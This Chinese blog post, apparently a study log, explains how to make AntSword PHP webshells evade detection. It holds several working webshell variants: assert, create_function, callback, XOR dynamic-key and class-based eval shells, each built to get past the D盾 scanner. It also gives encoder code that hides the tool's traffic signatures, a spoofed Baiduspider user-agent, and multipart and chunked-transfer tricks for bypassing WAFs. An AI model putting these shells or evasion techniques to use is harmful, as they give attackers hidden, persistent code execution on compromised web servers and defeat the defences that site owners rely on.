关于蚁剑免杀学习

1
当我们直接使用蚁剑这种比较出名的shell管理工具,在一些防护比较严的情况下,可能过一会会就被发现甚至关站,因此去除蚁剑的特征或者对shell免杀都是特别重要的,我之前并未接触过这方面的知识,写这篇文章的目的就是记录自己学习的一个过程,所以开始吧。

我认为特征处理有几个部分吧,一个是静态代码特征,比如我们直接使用蚁剑的马,这种马如果我们没有进行过任何处理直接上传就非常有可能在上传的时候被干掉,也就是说如果在上传的时候就被干掉了,或者上传之后被干掉了,问题都出在传的马被杀了。还有一种情况就是我们的马传上去了,而且也能访问到,然后使用蚁剑连接的时候发现连接被阻断同时马被杀了,这个就是流量方面的特征的问题了。

自带shell分析

assert

这里首先以php为例,因为其语法变化最为灵活,也是相对来说比较容易做处理的,首先我们看下自带的马是什么样子的。

1
2
3
4
<?php 
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>

这个代码非常容易理解,就是将assert关键字进行base64编码,但是我使用assert这个shell会有一个问题,就是蚁剑连不上,通过抓包分析, 在蚁剑连接的时候会发送一个数据包。

image-20200727103950002

因为发送这个数据后返回为空,所以蚁剑显示连接不上,但是我这里将这串数据改成phpinfo()也是可以正常执行的,也就是说这里并不是因为assert不能正常执行命令的问题。我们将这串代码解码后看看,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out) {
return $out;
};

function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "97a7a";
echo @asenc($output);
echo "777a7fdcd7c";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();

大致的意思会输出一些内容 随机字符串+环境变量+随机字符串,如果用eval代替assert是完全没问题的,我查了下资料,assert是不能执行多个语句的,eval可以,所以这里使用assert会有返回为空的问题。

image-20200727114425121

这个问题可以使用base64编码的问题解决,编码后的数据包如下,可以看到ant这个参数传入的是一句话,因此就可以通过assert执行成功。

image-20200727114808620

这里就是蚁剑使用assert的shell的一个坑,如果使用assert不要使用默认编码。

create_function

这种方式是通过create_function创建匿名函数来执行命令的,shell的内容如下:

1
2
3
4
<?php 
$ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));
$ant();
?>

php_custom_script_for_mysql

使用这种方式的shell,需要在连接类型上选择custom,否则会连接不上。

image-20200727131327779

使用这种模式我们需要上传的代码是比较长的,大概13k左右。好处就是在数据包中没有明显的eval这样命令执行的名字出现,因为作者已经在custom的代码中进行了实现。比如我们要测试连接。我拿create_funcion和custom的数据包进行对比,内容如下:

image-20200727132341964

image-20200727132412642

为什么A就可以返回内容,我们大概分析下代码。

首先获取$pwd也就是我们的密码的参数值,调用EC字符串编解码的函数进行处理

image-20200727132702622

根据pwd的值的不同调用不同的函数做对应的操作

image-20200727132825291

我们在看下BaseInfo()函数具体执行的操作,这里的代码和我们使用其他模式发送的数据是一样的,就是获取服务端的基本信息进行输出,

image-20200727132906141

custom模式我们大概了解了,再看下一个shell。

php_eval_rsa_script

使用这个shell的条件是需要开启openssl的,而且我测试php5.4.45没成功,在php5.3.29下是可以的。

在phpinfo中查看是否开启了openssl

image-20200727143928992

开启了openssl后,我们找到蚁剑的编码管理功能,有个rsa配置的功能。

image-20200727144031550

打开后内容如下,主要分为三个部分,RSA的公钥,私钥和php代码。

image-20200727144108286

我们将生成的php代码传到服务端,因为这里获取数据是通过公钥解密的,所以我们需要使用私钥对我们传递的数据进行加密,因此需要创建一个编码器。

image-20200727144333763

创建好编码器后,我们在连接的时候选择我们创建的rsa编码器即可

image-20200727144450235

使用rsa加密后数据包的内容如下:

image-20200727144526707

静态免杀

首先,抛开custom类型的shell,我们发现其他的shell本质上都是构造了一个命令执行的点,所以我们只要构建一个命令执行的点就可以了。

我这里以D盾来测试shell的静态免杀,我将蚁剑自带的assert那个马扔上去d盾会爆已知后门,然后我尝试将里面的关键字进行更改,已经无法造成一个命令执行的功能了,D盾还是会爆已知后门,也就是说D盾这里检测应该是进行了某些关键字的匹配的。

image-20200727150401374

image-20200727150414729

我将第二行的内容删掉,D盾还是会爆二级,也就是说如果我们想要静态免杀完全过D盾,不能直接使用变量名做函数名这种方式。

image-20200727150635040

而且这里和是否接收参数也无关,都会爆的。

image-20200727150819212

我发现D盾在这里进行拦截时是会去匹配括号是否闭合的,那我们就可以测试,当我假如复杂的括号时,能否绕过这个规则。

image-20200727155255367

这样虽然可以达到绕过的目的,但是也不符合php的语法。所以我想将括号里的内容注释掉,不过加了注释后又会被拦截。

image-20200727162618952

我尝试在这些括号的两边加上单双引号,也是无法绕过的,我看网上之前有人加了反引号进行绕过,可能是版本更新了吧,我通过那种方式无法绕过,好吧,我承认这个点我绕不过去了。

1
如果没有思路了,那就是自己的知识受限了,因此我去看了看其他人的文章

有篇文章也是用了变量函数,但是并没有被拦截。

image-20200727170037503

所以D盾的拦截可变变量的规则是在$xx()在行首的时候,然后我试了试使用上面那种方式的shell,这个仍然还可以免杀。

1
2
3
4
5
<?php 
$a="assert";
$b=array(''=>$a($_POST['ant']));
var_dump($b);
?>

image-20200727171248076

但是能不能免杀并不是我们的重点,因为是学习嘛,所以得知道为什么他就能免杀了。一方面是上面我分析的绕过了变量函数的检测,我再测试了下,当我们不使用可变变量的形式而是直接assert调用的话是会被拦的。所以就使用了两个技术

1
2
1.变量函数的检测绕过
2.通过变量函数来将函数关键字和函数调用部分分开了,破坏了类似于assert()这样的拦截规则。

这个是最主要的绕过的点,如果被其他的杀软拦截了,我们还可以进行各种变形。

方法一:关键字拆分

关于assert这个关键字的各种变形

1
2
3
4
5
$a='a'.'s'.'s'.'e'.'r'.'t';   //拼接
$a = substr('1a',1).substr('1as',2).'s'.'e'.'r'.'t'; //拼接+截取
$a = strtr('azxcvt','zxcv','sser');//截取替换
$a = substr_replace("asxxx","sert",2); //替换
$a=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);

方法二:改变调用函数

上面的shell我们是调用assert达到代码执行的目的,那么有没有那个函数可以替换assert这个函数呢。本来以为会有很多函数,查了下发现没有那种可以直接调用的,不过可以通过一些回调函数来解决。我以call_user_func为例

1
2
3
4
5
6
<?php 
$a="call_user_func";
$c="assert";
$b=array(''=>$a($c,$_POST['ant']));
var_dump($b);
?>

当然也可以拿其他函数进行变形绕过,这里只是给一个思路。

方法三:改变array+var_dump

通过前面的绕过,我们知道这种绕过Dd盾方法的核心在于可变函数的调用方式没有被检测出来,也就是

1
array(''=>$a($c,$_POST['ant']));

那么我们在这部分要绕过的点就是有没有哪些调用方式可以放在可变函数的前面,我尝试写个自定义函数来进行绕过,但是使用这种方法不能绕过。

image-20200727214520026

之前我们调用的是var_dump,也可以调用其他方法

1
2
3
4
5
<?php 
$a="assert";
$b=array(''=>$a($_POST['ant']));
uksort($b);
?>

还可以这样

1
2
3
4
5
<?php
$a="assert";
$arr = new ArrayObject(array(''=>$a($_POST['ant'])));
$arr->uksort();
?>

好了,关于静态免杀先学到这,其他的方式当然还有很多,我只是挑了一个点而已。

动态免杀

上面的操作只是帮我们过了一个shell查杀工具的静态查杀,但是有时候会有这样的情况,就是shell传上去好好的,也没杀,只要一连接就被干掉了,这是为什么呢?这个就涉及到流量方面的免杀了。

特征去除

关于蚁剑这款工具,功能很强大,用起来也挺舒服,但是他出名啊,出名的话就会被很多厂商拿去分析,所以我们在使用蚁剑的时候需要去除我们使用蚁剑和服务端进行交互的流量特征,那么都有什么特征呢?

特征一:user-agent

​ 这个特征是一个非常明显的特征,就和sqlmap的user-agent一样,都是和工具相关的,我们看下:

image-20200728090059610

这个特征非常明显吧,所以我们使用蚁剑这个特征是一定要改的,我们找到/modules/request.js文件,有个USER_AGENT

image-20200728090412292

我们将它改成百度的爬虫

1
Mozilla/5.0 (compatible; Baiduspider-render/2.0;+http://www.baidu.com/search/spider.html)

网上还有人说,需要更改/modules/update.js的请求头,但我看了下这个功能是和github进行交互的,不是和目标交互的流量,所以我认为可以不改吧。

image-20200728090753980

然后重启蚁剑,USER-AGENT内容就已经成功被修改了。

image-20200728091048839

特征二:变量规则

首先来看下蚁剑的一个数据包,注意看下我圈出来的部分,这里面字符的长度是固定的,在变量那部分,长度是固定的14位,返回包部分前面是9位,后面是7位。

image-20200728091745973

我们新建一个编码器对发送的数据进行处理,编码器里面有个默认的实例,是base64的编码器,就是我们上面图中发送数据使用的编码器,我们学习下是怎么处理的。

image-20200728092809554

作者也非常贴心的把注释写的非常清楚,首先是生成一个14位长度的随机值当作参数名,然后把我们需要传递的内容base64编码进行赋值,然后在pwd中传入代码执行的代码。

首先看下变量长度的问题如何解决,可以通过随机生成一个长度字段,再去根据长度去随机生成相应的内容,这样就可以确保每次发起请求的参数长度是变化的。

1
2
let num =  Math.floor(Math.random()*15);
let randomID = `_0x${Math.random().toString(16).substr(num)}`;

这样我们发送的参数名的长度就是变化的了。

image-20200728102211355

但是我们仍然有一个核心的问题没有解决,就是在我们发送的流量里面会有eval,这个如何解决呢?

特征三:eval特征处理

我参考了蚁剑作者关于这部分处理的文章,他是将eval这部分进行了编码,如果直接对eval进行编码,那在服务端是无法识别这个流量的,因此服务端也需要对这个数据进行base64解码,使用这种方法需要稍微改变一下服务端的代码。

首先修改一下编码器的代码,将eval部分的代码base64编码

1
data[pwd] = Buffer.from(`eval(base64_decode($_POST[${randomID}]));`).toString('base64');

然后在修改下我们的shell,让其在接收参数的时候进行base64解码

1
2
3
4
5
6
<?php 
$a="assert";
$c=base64_decode($_POST['ant']);
$b=array(''=>$a($c));
uksort($b);
?>

然后再抓包看下流量,已经没有eval的特征了

image-20200728104852973

其实同理,我们既然可以base64,为什么不能hex呢?

这个我就不讲了,如果理解了base64,那么这个也非常容易

编码器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* php::base64编码器
* Create at: 2020/07/28 10:16:51
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomID = `_0x${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('hex');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = Buffer.from(`eval(Hex2String($_POST[${randomID}]));`).toString('hex');

// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
function Hex2String($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2){
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
echo $string;
return $string;
}
$a="assert";
$c=Hex2String($_POST['ant']);
$b=array(''=>$a($c));
uksort($b);
?>

最后效果如下;

image-20200728105845603

这种简单的编解码处理可能防护设备也会自己解码,我们可以使用各种加密,或者自己写一个简单的算法对数据进行处理,甚至使用多种编解码+加密方式混合处理。

特征四:返回包格式

我这里查看了下蚁剑处理返回包的模板,发现其实蚁剑对返回包的分隔符的长度是随机生成的,代码在source/core/php/index.js中

image-20200728111846522

所以在返回包处理这部分,我们更应该关注的不是返回包格式的问题,而是返回的明文内容的问题,这些特征都是特别明显的。

image-20200728112128155

image-20200728112144427

这里蚁剑本身就提供了一些解码器使用,比如base64解码,只要我们在使用的时候选择解码器就行了,不用我们在shell里面添加解码功能。

image-20200728134220904

使用效果如下:

image-20200728134243030

我们再看下我们发送的数据是怎么样的,如下图所示,就是我们发送的数据包中让其在输出的时候做了一个base64的编码

image-20200728134401588

同理,蚁剑还提供了rot13的解码器,使用效果如下:

image-20200728134524436

特征五:custom shell的特性

首先我们使用一个custom模式的shell,然后抓包看下返回包,有没有看到一个非常明显的特征。

image-20200728152948041

对的,如你所见,这个特征就是->|和|<-,正常的数据包中基本不会出现这个,因此这个也会被当作是蚁剑的特征。因为这边我们只传入了一个A,因此返回的处理逻辑肯定是写在custom的shell里的,我在shell中找到了对应的代码,但是直接删除后发现蚁剑不能正常工作了,也就是如果要删除这个东西会影响蚁剑对返回包的解析,因此可能需要修改蚁剑处理custom模式返回包部分的代码。在蚁剑的source/core/custom/index.js中,我找到了对应的代码位置。

image-20200728153806619

所以我们只要对这部分进行修改就可以了,我们要确保这个符号不会在返回包的内容中出现,我这里随便取了个@#来作为分割符。

image-20200728154120506

同样,我们要在蚁剑的custom shell中进行相应的修改。

image-20200728154150241

image-20200728154202049

然后就可以正常的使用了

image-20200728154219306

关于custom模式,还有第二个特性,就是关于传入的参数的参数名,z0,z1,z2等等,这个也算一个特征把,所以我们也需要把它处理一下,这个同样需要在shell和蚁剑同时处理,我在php的custom shell中找到了如下代码

image-20200728160653504

所以我们需要把这几个参数改成比较正常的参数名。

image-20200728162411446

然后需要在蚁剑中找到这部分代码进行处理,这个处理就比较麻烦些,因为在好几个文件中都出现了。然后我分别在如下的几个文件中做了处理。

1
2
3
source\core\custom\template\database\default.js
source\core\custom\template\command.js
source\core\custom\template\filemanager.js

处理后效果如下:

image-20200728162553173

流量免杀

最后我们来学学流量混淆这部分,其实这里一方面是运用各种加密解密来对流量进行混淆,另一方面就是使用一些蚁剑本身提供的特性来进行混淆。

方法一:更改post的格式为Multipart

我们如果之前简单了解过一些绕WAF的技巧,我们就知道有些WAF针对于不同的请求类型的拦截规则是不一样的,大多数的WAF会对GET类型的请求拦截非常严格,但是对于POST会弱一些,有时候假如我们改变了请求体的方式为Multipart,有些WAF甚至只会检测文件上传漏洞,所以呢,可以通过这个特性来进行简单的绕过。

image-20200728155455601

设置后的效果如下:

image-20200728155629444

方法二:分块传输

之前别人公开了分块传输绕WAF的方法后,后来做项目中遇到不少WAF都可以直接通过分块传输绕过。

image-20200728155810488

这里我设置好并刷新了下缓存,然后在burp上查看发包的这个过程,比较奇怪的是并没有发现分块传输的迹象。

image-20200728160222681

不过有老哥已经写了burp的分块传输的插件,我们可以将蚁剑的流量代理到burp上,再使用分块插件进行分块,嗯,真香。

蚁剑中设置:

image-20200728163023441

burp插件中设置:

image-20200728163044919

然后就可以分块了。

image-20200728163127083

方法三:各种编码解码器

蚁剑作者给了很多编解码器,地址:https://github.com/AntSwordProject/AwesomeEncoder

zlib

在这个编码器里面也有关于如何去处理shell的提示

image-20200728165427727

我将之前测试免杀D盾的shell稍微改了一下就可以了。

1
2
3
4
5
6
7
8
<?php 
$a="assert";
$c=$_POST['ant'];
$d=base64_decode($c);
$e=gzinflate($d);
$b=array(''=>$a($e));
uksort($b);
?>

最后效果如下:

image-20200728165614745

动态密钥

因为之前有人分析冰蝎的加密,得出可以通过获取密钥的那个数据包来对冰蝎的指纹进行识别,所以yzddmr6前辈为了写了两款关于动态密钥的编码器,一个是基于时间生成密钥的,还有一个是通过随机cookie来生成的,我们都学习一下吧。

基于时间的动态密钥

我们跟着代码稍微学习一下,下面这段代码是比较简单和,和蚁剑自带的编码器代码没有什么区别,主要的操作在xor函数里。

image-20200728174216362

跟进到xor函数里,函数里获取了当前的时间,并调用switch对时间的格式进行处理,switch这个函数是自定义的处理函数。

image-20200728174601774

image-20200728174701365

使用格式化后的time的md5值作为key,对payload进行异或处理。

image-20200728174910075

要使用这个编码器我们需要对我们的shell做一定的处理,需要在shell中加入解密的逻辑代码。

1
2
3
4
5
6
7
8
9
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>

最后数据包是这样的

image-20200728175747960

base64解码后也是看不到明文内容的

image-20200728175815387

基于cookie的动态密钥

这种方法生成26位的随机字符放在了cookie的PHPSESSID中,设置方法基于时间的差不多,最后效果如下:

image-20200728180915972

这里yzddmr6前辈还给出了一个免杀的shell,我们分析下这个shell为什么就能免杀D盾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Cookie
{
function __construct()
{
$key=@$_COOKIE['PHPSESSID'];
@$post=base64_decode($_REQUEST['test']);
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
return $post;
}
function __destruct()
{return @eval($this->__construct());}
}
$check=new Cookie();
?>

我基本把代码都删完了,发现当仅仅留下下面这段代码的时候D盾是会爆1级的。

1
{return @eval($this->__construct());}

image-20200728181601624

然后前面加个函数名就不会杀了。

image-20200728181726799

而且当直接调用eval($this)会升到4级,但是使用$this->__construct()这种形式就少了很多。

image-20200728181848146

再测试了下,当参数中有->等级会下降很多,再加上参数+括号就不报了。

image-20200728182041283

image-20200728182102746

所以对于其他敏感函数的拦截我们是不是也可以通过这种调用的方式绕过D盾的拦截。

我使用assert再进行了测试,直接这样绕是会爆一级的,但是在这个代码前加上其他函数就不杀了,所以我们又学到一个小技巧,就是可以把我们代码执行的函数放在其他函数的后面。

image-20200728182629591

总结

通过对蚁剑免杀的学习,终于明白为什么我的shell总会被杀了,所以深入了解一个工具是非常有必要的。

参考文章:

基于随机Cookie的蚁剑动态秘钥编码器

蚁剑实现动态秘钥编码器解码器

蚁剑绕WAF进化图鉴

从静态到动态打造一款免杀的antSword(蚁剑)